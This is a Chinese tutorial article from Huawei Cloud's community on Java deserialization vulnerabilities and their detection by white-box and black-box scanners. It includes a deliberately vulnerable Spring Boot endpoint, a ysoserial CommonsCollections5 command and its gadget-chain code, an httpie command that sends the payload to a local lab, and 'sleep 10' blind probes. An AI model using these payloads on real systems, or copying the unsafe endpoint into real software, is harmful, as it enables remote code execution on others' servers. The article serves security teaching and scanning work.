带你掌握java反序列化漏洞及其检测
摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。
本文分享自华为云社区《java反序列化漏洞及其检测》,作者: alpha1e0。
1 java反序列化简介
java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。
在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。
1.1 什么是反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:

序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。
在java中任何类如果想要序列化必须实现java.io.Serializable接口,例如:
public class Hello implements java.io.Serializable {
String name;
}
java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个 标记 让jre确定这个类是可以序列化的。
同时java中支持在类中定义如下函数:
private void writeObject(java.io.ObjectOutputStream out)
throws IOException
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException;
这两个函数不是java.io.Serializable的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因
例如:
public class Hello implements java.io.Serializable {
String name;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec(name);
}
}
该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。
在反序列化的过程中,攻击者仅能够控制“数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现攻击
1.2 反序列化漏洞示例复现
在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用spring-boot编写一个可以接收http数据并反序列化的应用程序。
使用 https://start.spring.io/ 生成一个spring-boot应用,选择Maven Project、java8

下载到本地,导入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依赖(该版本存在反序列化漏洞)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
修改 DemoApplication.java 为如下代码
package com.example.demo; import java.io.IOException;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.GetMapping; @SpringBootApplication
@RestController
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
} @GetMapping("/hello")
public String hello() {
return "hello world";
} // 反序列化接口
@PostMapping("/rmi")
public String rmi(HttpServletRequest request) {
try {
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = (Object) ois.readObject();
return "unmarshal " + obj.getClass().getName() + " ok";
} catch (ClassNotFoundException | IOException e) {
return "unmarshal failed";
}
}
}
此时我们就完成了一个有 Apache Commons Collections 漏洞的验证靶场,启动该靶场应用
我们使用ysoserial 生成攻击payload:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc
然后使用httpie 发送攻击payload(poc)
http post http://127.0.0.1:8080/rmi < poc
这时候就可以看到poc中的命令执行了

1.3 反序列化漏洞解析
在1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5 这个payload,本节我们对此poc进行分析
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer( // 执行“链条”该类的transform会调用transformer使用反射执行命令
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs), // 这里是我们输入的命令 calc.exe
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get
BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
可以最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为
val = valObj.toString();
这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
其中 this.getValue 为
public Object getValue() {
return this.map.get(this.key);
}
而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中
public Object get(Object key) {
if (!super.map.containsKey(key)) { // 当找不到key的时候调用transform
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在其中看到,没有找到key的时候,调用了 this.factory.transform(key)
而this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。
2 java反序列化漏洞检测
在1中的原理介绍中,我们可以看到,反序列化漏洞需要依赖执行链来完成攻击payload执行。由于反序列化漏洞的特性,在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过安全审计、代码审计等方式发现。
java反序列化漏洞依赖于两个因素:
- 应用是否有反序列化接口
- 应用中是否包含有漏洞的组件
因此对应的漏洞扫描工具也需要根据这两个因素进行检测。
2.1 白盒工具检测
白盒代码审计工具,可通过在调用链中查找是否有发序列化的操作:
- 调用链的入口不同框架是不同的,例如在1.2例子中调用链的入口为spring-boot的controller。
- 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作
但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在java中,一般通过分析 pox.xml build.gradle 文件来分析是否包含有漏洞的组件。
2.2 黑盒漏洞扫描器检测
web漏洞扫描器检测原理和白盒工具不一样。
首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是web漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他web漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示

如今web漏洞扫描器都提供了代理组件来发现应用的http请求,爬虫组件可通过前台页面触发请求进入代理组件;但在API场景下,还是需要测试人员进行API调用该操作才能够产生http请求数据。
在截获到http请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:
- 通过http请求的Content-Type,具体来说ContentType: application/x-java-serialized-object 是序列化请求的请求头
- 检查请求数据的开头是否是 0xaced,有时候序列化请求不存在正确的content-type,此时需要根据数据来判断是否是序列化请求
在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测payload判断接口是否有反序列化漏洞,这里的攻击payload类似于1.2节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http返回数据没有攻击执行结果),因此只能进行盲注,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。
文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>
带你掌握java反序列化漏洞及其检测的更多相关文章
- java反序列化漏洞的检测
1.首先下载常用的工具ysoserial 这边提供下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- Java反序列化漏洞详解
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...
- Java反序列化漏洞总结
本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...
随机推荐
- springboot整合shiro框架学习
springboot整合shiro框架做用户认证与授权 springboot整合shiro框架的流程主要分为: 导入shiro依赖 <dependency> <groupId> ...
- CSP 初赛复习
想要做一些不需要思考也算不得摆烂的事,但发现很难找到符合上述要求的学习内容. 突然想到还剩两天就 CSP 初赛了.虽然在 LN 想过不了初赛纯属搞笑,但为了不让自己的分数太难看还是简单复习一下. 没有 ...
- CSP 2022 游寄
Day -2147483648 官网有了通知,但选手注册不知为何坏掉了: 先开坑: Day -大概两个月 注册了,但老师还没给我审核呜呜呜 第一轮 早上 早上起床就直接来机房了,不用跑操欸嘿. 上午 ...
- HExcel,一个简单通用的导入导出Excel工具类
前言 日常开发中,Excel的导出.导入可以说是最常见的功能模块之一,一个通用的.健壮的的工具类可以节省大量开发时间,让我们把更多精力放在业务处理上中 之前我们也写了一个Excel的简单导出,甚至可以 ...
- rust程序设计(3)结构体相关概念和疑问
结构体 // 如何定义结构体 struct User { active: bool, username: String, email: String, sign_in_count: u64, } // ...
- Linux笔记03: Linux常用命令_3.4文件和目录共用命令
3.4 目录和文件共用命令 3.4.1 rm命令 ●命令名称:rm. ●英文原意:remove files or directories. ●所在路径:/usr/bin/rm. ●执行权限:所有用户. ...
- visual studio 2013 汇编环境配置
网上有很多教程,但是第一次运行仍然出现很多问题,后来我发现忽视了几个个重要的点!!!红色字体标注 教程搬自:https://github.com/JunpengCode/Assembly https: ...
- flask请求钩子(就是django的中间件)
flask中的请求钩子就是域django的中间件类似,作用都是用于在请求前.后.响应前.后进行一些hook操作. 请求钩子装饰器 @app.before_request # 请求前会调用,一般可以用来 ...
- 关于Secure Hash Algorithm加密算法
一.概述 SHA(Secure Hash Algorithm)加密算法是一种广泛应用的密码散列函数,由美国国家安全局(NSA)设计,用于保障数据的安全性和完整性.SHA算法经历了多个版本的更新,目前主 ...
- 【开源项目推荐】OpenMetadata——基于开放元数据的一体化数据治理平台
大家好,我是独孤风. 这几年数据治理爆火,但迟迟没有一个优秀的开源数据治理平台的出现.很多公司选择元数据管理平台作为基础,再构建数据质量,数据血缘等工具. 今天为大家推荐的开源项目,是一个一体化的数据 ...